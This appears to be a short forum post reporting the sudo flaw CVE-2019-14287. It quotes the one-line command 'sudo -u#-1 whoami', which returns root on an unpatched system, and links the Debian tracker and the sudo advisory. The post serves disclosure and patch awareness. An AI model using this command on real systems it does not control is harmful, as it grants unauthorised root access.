Sudo Privilege Escalation Vulnerability

This is pretty afwul. Works perfectly on my Debian machine (where sudo for this user requires the password):

    $ sudo -u#-1 whoami
    root

Ubuntu has fixes, Debian still seems vulnerable: https://security-tracker.debian.org/tracker/CVE-2019-14287

Here are the technical details: https://www.sudo.ws/alerts/minus_1_uid.html